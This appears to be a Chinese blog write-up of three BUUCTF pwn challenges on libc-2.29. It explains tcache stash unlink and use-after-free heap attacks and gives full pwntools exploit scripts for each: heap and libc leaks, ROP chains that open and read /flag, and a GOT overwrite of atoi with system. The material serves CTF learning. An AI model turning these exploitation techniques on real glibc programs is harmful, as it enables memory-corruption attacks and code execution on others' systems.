BUUCTF-PWN刷题记录-24 & libc-2.29学习(下)

目录

    • [2020 新春红包题]3(Tcache stash unlink attack)
    • hitcon_ctf_2019_one_punch(Tcache stash unlink attack)
    • 安恒四月赛(DASCTF) sales_office2(UAF)

[2020 新春红包题]3(Tcache stash unlink attack)

BUUCTF-PWN刷题记录-24 & libc-2.29学习(下)_第1张图片
没有开canary,莫非有栈溢出?
同样把execve禁用了
BUUCTF-PWN刷题记录-24 & libc-2.29学习(下)_第2张图片
删除的时候有指针悬挂
BUUCTF-PWN刷题记录-24 & libc-2.29学习(下)_第3张图片
添加的时候限制了只能添加0x10,0xf0,0x300,0x400大小的
在这里插入图片描述
并且使用calloc分配,这意味着add时不会从tcache中取chunk
在这里插入图片描述
添加次数为0x1c(28),编辑次数为1
BUUCTF-PWN刷题记录-24 & libc-2.29学习(下)_第4张图片
程序存在后门,刚好可以覆盖返回地址
BUUCTF-PWN刷题记录-24 & libc-2.29学习(下)_第5张图片
利用思路如下

  1. 添加释放7次,把大小为0x410的chunk的tcache填满,并且利用show泄露heap_base
  2. 把大小为0x100的chunk放入tcache中6个
  3. 添加0x410大小的chunk并且释放来获得libc地址
  4. 把大小为0x100的chunk放入tcache中2个
  5. 利用UAF修改smallbin2(后进入smallbin的chunk)的bk为qword_4058 + 0x800-0x10
  6. 申请0x100大小的chunk,这样qword_4058 + 0x800-0x10就会写上一个大数
  7. 再申请一个0x410的chunk,写入ROPchain
  8. 利用后门+栈迁移获得flag

Exp:

from pwn import *

r = remote("node3.buuoj.cn", 28846)
#r = process("./RedPacket_SoEasyPwn1/RedPacket_SoEasyPwn1")

context(log_level = 'debug', arch = 'amd64', os = 'linux')
DEBUG = 0
if DEBUG:
	gdb.attach(r, 
	'''	
	where
	''')

elf = ELF("./RedPacket_SoEasyPwn1/RedPacket_SoEasyPwn1")
libc = ELF('./libc/libc-2.29.so')
one_gadget_19 = [0xe237f, 0xe2383, 0xe2386, 0x106ef8]

menu = "Your input: "
def add(index, choice, content):
	r.recvuntil(menu)
	r.sendline('1')
	r.recvuntil("Please input the red packet idx: ")
	r.sendline(str(index))
	r.recvuntil("How much do you want?(1.0x10 2.0xf0 3.0x300 4.0x400): ")
	r.sendline(str(choice))
	r.recvuntil("Please input content: ")
	r.send(content)

def delete(index):
	r.recvuntil(menu)
	r.sendline('2')
	r.recvuntil("Please input the red packet idx: ")
	r.sendline(str(index))


def edit(index, content):
	r.recvuntil(menu)
	r.sendline('3')
	r.recvuntil("Please input the red packet idx: ")
	r.sendline(str(index))
	r.recvuntil("Please input content: ")
	r.send(content)

def show(index):
	r.recvuntil(menu)
	r.sendline('4')
	r.recvuntil("Please input the red packet idx: ")
	r.sendline(str(index))

# fill full tcache size 0x410
for i in range(7):
	add(0,4,'Chunk0')
	delete(0)

# fill 6 in tcache size 0x100
for i in range(6):
	add(1,2,'Chunk1')
	delete(1)


show(0)
last_chunk_addr = u64(r.recvuntil('\n').strip().ljust(8, '\x00'))
heap_addr = last_chunk_addr - 0x26C0
success("heap_base:"+hex(heap_addr))

add(2,4,'Chunk2')
add(3,3,'Chunk3')
delete(2)
show(2)
malloc_hook = u64(r.recvuntil('\n').strip().ljust(8, '\x00')) - 0x60 - 0x10
libc.address = malloc_hook - libc.sym['__malloc_hook']
success("libc:"+hex(libc.address))


add(3,3,'Chunk3')
add(3,3,'Chunk3') #get smallbin1

add(4,4,'Chunk4')
add(5,4,'Chunk5')
delete(4)
add(5,3,'Chunk5')
add(5,3,'Chunk5') # get smallbin2


payload='\x00'*0x300+p64(0)+p64(0x101)+p64(heap_addr+0x37E0)+p64(heap_addr+0x250+0x10+0x800-0x10)
edit(4,payload)

add(3,2,'Chunk_3') # get smallbin


pop_rdi_ret = libc.address + 0x0000000000026542
pop_rsi_ret = libc.address + 0x0000000000026f9e
pop_rdx_ret = libc.address + 0x000000000012bda6
file_name_addr = heap_addr + 0x0000000000004A40
flag_addr = file_name_addr + 0x0000000000000200
ROP_chain  = '/flag\x00\x00\x00'
ROP_chain += p64(pop_rdi_ret)
ROP_chain += p64(file_name_addr)
ROP_chain += p64(pop_rsi_ret)
ROP_chain += p64(0)
ROP_chain += p64(libc.symbols['open'])
ROP_chain += p64(pop_rdi_ret)
ROP_chain += p64(3)
ROP_chain += p64(pop_rsi_ret)
ROP_chain += p64(flag_addr)
ROP_chain += p64(pop_rdx_ret)
ROP_chain += p64(0x40)
ROP_chain += p64(libc.symbols['read'])
ROP_chain += p64(pop_rdi_ret)
ROP_chain += p64(1)
ROP_chain += p64(pop_rsi_ret)
ROP_chain += p64(flag_addr)
ROP_chain += p64(pop_rdx_ret)
ROP_chain += p64(0x40)
ROP_chain += p64(libc.symbols['write'])

add(4,4,ROP_chain)

leave_ret = libc.address + 0x0000000000058373
r.recvuntil('Your input: ')
r.sendline('666')
r.recvuntil('What do you want to say?')
r.sendline('A'*0x80 + p64(file_name_addr) + p64(leave_ret))

r.interactive()

hitcon_ctf_2019_one_punch(Tcache stash unlink attack)

BUUCTF-PWN刷题记录-24 & libc-2.29学习(下)_第6张图片
free指针悬挂
BUUCTF-PWN刷题记录-24 & libc-2.29学习(下)_第7张图片
编号最高为2
BUUCTF-PWN刷题记录-24 & libc-2.29学习(下)_第8张图片
大小限制在0x7f-0x410,并且使用calloc分配,长度根据输入计算,同时,因为strncpy所以我们的payload如果有\x00会被截断
BUUCTF-PWN刷题记录-24 & libc-2.29学习(下)_第9张图片
同时禁用了execve
BUUCTF-PWN刷题记录-24 & libc-2.29学习(下)_第10张图片

Exp:

from pwn import *

r = remote("node3.buuoj.cn", 28996)
#r = process("./hitcon_ctf_2019_one_punch")

context(log_level = 'debug', arch = 'amd64', os = 'linux')
DEBUG = 0
if DEBUG:
	gdb.attach(r, 
	'''	
	where
	''')

elf = ELF("./hitcon_ctf_2019_one_punch")
libc = ELF('./libc/libc-2.29.so')
one_gadget_19 = [0xe237f, 0xe2383, 0xe2386, 0x106ef8]

menu = "> "
def add(index, content):
	r.recvuntil(menu)
	r.sendline('1')
	r.recvuntil("idx: ")
	r.sendline(str(index))
	r.recvuntil("hero name: ")
	r.send(content)

def delete(index):
	r.recvuntil(menu)
	r.sendline('4')
	r.recvuntil("idx: ")
	r.sendline(str(index))

def edit(index, content):
	r.recvuntil(menu)
	r.sendline('2')
	r.recvuntil("idx: ")
	r.sendline(str(index))
	r.recvuntil("hero name: ")
	r.send(content)

def show(index):
	r.recvuntil(menu)
	r.sendline('3')
	r.recvuntil("idx: ")
	r.sendline(str(index))

def back_door(content):
	r.recvuntil(menu)
	r.sendline('50056\x00\x00')
	sleep(1)
	r.send(content)

# fill full tcache size 0x410
for i in range(7):
	add(0, 'a'*0x400)
	delete(0)

# fill 6 in tcache size 0x100
for i in range(6):
	add(1,'b'*0xf0)
	delete(1)

show(0)
r.recvuntil("hero name: ")
last_chunk_addr = u64(r.recvuntil('\n').strip().ljust(8, '\x00'))
heap_addr = last_chunk_addr - 0x16B0
success("heap_base:"+hex(heap_addr))

add(0, 'a'*0x400)
add(1, 'b'*0x300)
delete(0)
show(0)
r.recvuntil("hero name: ")
malloc_hook = u64(r.recvuntil('\n').strip().ljust(8, '\x00')) - 0x60 - 0x10
libc.address = malloc_hook - libc.sym['__malloc_hook']
syscall = libc.address + 0x000000000010D022
add_rsp = libc.address + 0x000000000008cfd6
leave = libc.address + 0x0000000000058373
pop_rdi_ret = libc.address + 0x0000000000026542
pop_rsi_ret = libc.address + 0x0000000000026f9e
pop_rdx_ret = libc.address + 0x000000000012bda6
pop_rax_ret = libc.address + 0x0000000000047cf8
success("libc:"+hex(libc.address))

add(1, 'b'*0x300)
add(1, 'b'*0x300)#smallbin1

add(0, 'a'*0x400)
add(1, 'b'*0x300)
delete(0)
add(1, 'b'*0x300)
add(1, 'b'*0x300)#smallbin2

payload = '\x00'*0x300+p64(0)+p64(0x101)+p64(heap_addr+0x27D0)+p64(heap_addr+0x30-5-0x10)
edit(0, payload)


add(1, '/flag'+'\x00'*0x100)
for i in range(7):
	add(1, 'b'*0x217)
	delete(1)
edit(1, p64(malloc_hook))
add(1, 'b'*0xf0)
back_door(p64(malloc_hook))
back_door(p64(add_rsp))

file_name_addr = heap_addr + 0x3930
flag_addr = heap_addr + 0x3940
ROP_chain = p64(pop_rdi_ret)
ROP_chain += p64(file_name_addr)
ROP_chain += p64(pop_rsi_ret)
ROP_chain += p64(0)
ROP_chain += p64(pop_rax_ret)
ROP_chain += p64(2)
ROP_chain += p64(syscall)
#ROP_chain += p64(libc.symbols['open'])
ROP_chain += p64(pop_rdi_ret)
ROP_chain += p64(3)
ROP_chain += p64(pop_rsi_ret)
ROP_chain += p64(flag_addr)
ROP_chain += p64(pop_rdx_ret)
ROP_chain += p64(0x40)
ROP_chain += p64(libc.symbols['read'])
ROP_chain += p64(pop_rdi_ret)
ROP_chain += p64(1)
ROP_chain += p64(pop_rsi_ret)
ROP_chain += p64(flag_addr)
ROP_chain += p64(pop_rdx_ret)
ROP_chain += p64(0x40)
ROP_chain += p64(libc.symbols['write'])

add(1, ROP_chain)
r.interactive()

安恒四月赛(DASCTF) sales_office2(UAF)

BUUCTF-PWN刷题记录-24 & libc-2.29学习(下)_第11张图片
这题的环境在libc2.29下,因为libc2.29增加了对free的检查,所以之前sales_office中使用多次free的办法在这里就行不通了
漏洞还是和之前一样,指针悬挂造成UAF
BUUCTF-PWN刷题记录-24 & libc-2.29学习(下)_第12张图片
利用思路:
这题单纯利用UAF就可以get shell,利用犯法并不像前两题一样是libc-2.29新出的

  1. 获取堆的地址,同时在0中伪造一个chunk,操作如下
add(0x60, 'a'*0x10+p64(0)+p64(0x51))#0
add(0x60, 'b\n')#1
add(0x60, 'c\n')#2
delete(2)
delete(1)
delete(0)
show(0)
  1. 利用UAF泄露atoi地址并计算system的地址
add(0x10, p64(atoi_got)+p64(8))#3
show(1)
  1. 再次利用UAF,这次把指针指向之前伪造的chunk,然后释放它
  2. 申请0x60大小,这样就能编辑之前伪造的chunk,把fd改为atoi@got
  3. 申请两次0x40大小,第二次写入system的地址即可

EXP:

from pwn import *

menu = "choice:"
def add(size, content):
	r.recvuntil(menu)
	r.sendline('1')
	r.recvuntil("Please input the size of your house:\n")
	r.sendline(str(size))
	r.recvuntil("please decorate your house:\n")
	r.send(content)

def delete(index):
	r.recvuntil(menu)
	r.sendline('4')
	r.recvuntil("index:")
	r.sendline(str(index))

def show(index):
	r.recvuntil(menu)
	r.sendline('3')
	r.recvuntil("index:")
	r.sendline(str(index))

#r = remote("183.129.189.60", 10008)
r = process('./sales_office2/sales_office')
elf = ELF('./sales_office2/sales_office')
#libc = ELF('./sales_office2/libc.so.6')
libc = ELF("./libc/libc-2.29.so")
context.log_level = 'debug'
bss_control = 0x6020A0
read_got = elf.got['read']
atoi_got = elf.got['atoi']
one_gadget_19 = [0xe237f, 0xe2383, 0xe2386, 0x106ef8]
DEBUG = 1
if DEBUG:
	gdb.attach(r, 
	'''
	b *0x400B53
	c
	''')


add(0x60, 'a'*0x10+p64(0)+p64(0x51))#0
add(0x60, 'b\n')#1
add(0x60, 'c\n')#2
delete(2)
delete(1)
delete(0)
show(0)
r.recvuntil("house:\n")
heap_addr = u64(r.recvuntil('\n').strip().ljust(8, '\x00')) - 0x380
success("heap:"+hex(heap_addr))
fake_chunk = heap_addr + 0x290
add(0x10, p64(atoi_got)+p64(8))#3
show(1)
r.recvuntil("house:\n")
atoi_addr = u64(r.recvuntil('\x7f').ljust(8, '\x00'))
libc.address = atoi_addr - libc.symbols['atoi']
system = libc.symbols['system']
bin_sh = libc.search("/bin/sh").next()
success("libc_base:"+hex(libc.address))
success("atoi:" + hex(atoi_addr))
success("system:" + hex(system))
success("bin_sh" + hex(bin_sh))

add(0x50, 'chunk4')#4
add(0x50, 'chunk4')#5
delete(5)
delete(4)
add(0x10, p64(fake_chunk+0x10)+p64(0x40))#6
delete(5)

add(0x60, 'a'*0x10+p64(0)+p64(0x51)+p64(atoi_got))#7
add(0x40, p64(atoi_got))#8
add(0x40, p64(system))#9

r.recvuntil(menu)
r.sendline('/bin/sh')

r.interactive()

你可能感兴趣的:(CTF知识学习,BUU-PWN)